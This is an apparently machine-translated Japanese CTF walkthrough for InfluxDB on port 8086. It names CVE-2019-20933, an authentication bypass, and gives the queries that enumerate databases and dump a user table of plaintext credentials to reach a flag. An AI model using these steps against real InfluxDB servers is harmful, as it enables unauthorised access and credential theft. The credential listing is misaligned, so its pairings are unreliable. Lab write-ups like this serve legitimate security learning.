> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/ports-and-services/influxdb-8086.md).
# InfluxDB - 8086
InfluxDB CVE-2019-20933の認証バイパス、データベース列挙、認証情報発見。
ポート8086は InfluxDB バージョン 1.7.5 を公開しています。対象は InfluxDB の認証バイパスの問題の影響を受けています：
**脆弱性:**[CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933)
{% embed url="" %}
{% hint style="info" %}
この脆弱性は、JWT トークンの `SharedSecret` が空であるため、データベースへのアクセスが許可されます。
{% endhint %}
#### データベースへのアクセス
InfluxDB に接続したら、利用可能なデータベースを一覧表示します：
```sql
SHOW DATABASES;
```
次を選択します `devzat` データベースを選択してユーザーデータを調べます。まずは measurement（テーブル）を一覧表示します：
```sql
SHOW MEASUREMENTS;
```
その **`ユーザー`** テーブルには有用な情報が含まれています。この measurement の列を調べるには、次を実行します：
```sql
SHOW FIELD KEYS FROM "user";
```
次の結果の最初の10件を表示します： `ユーザー` テーブル:
```sql
SELECT * FROM "user" LIMIT 10;
```
パスワード
username
WillyWonka2021
wilhelm
woBeeYareedahc7Oogeephies7Aiseci
catherine
RoyalQueenBee$
charles
次のパスワード *catherine* です **`woBeeYareedahc7Oogeephies7Aiseci`**これにより、ユーザーへのアクセスが可能になります **フラグ**.
---
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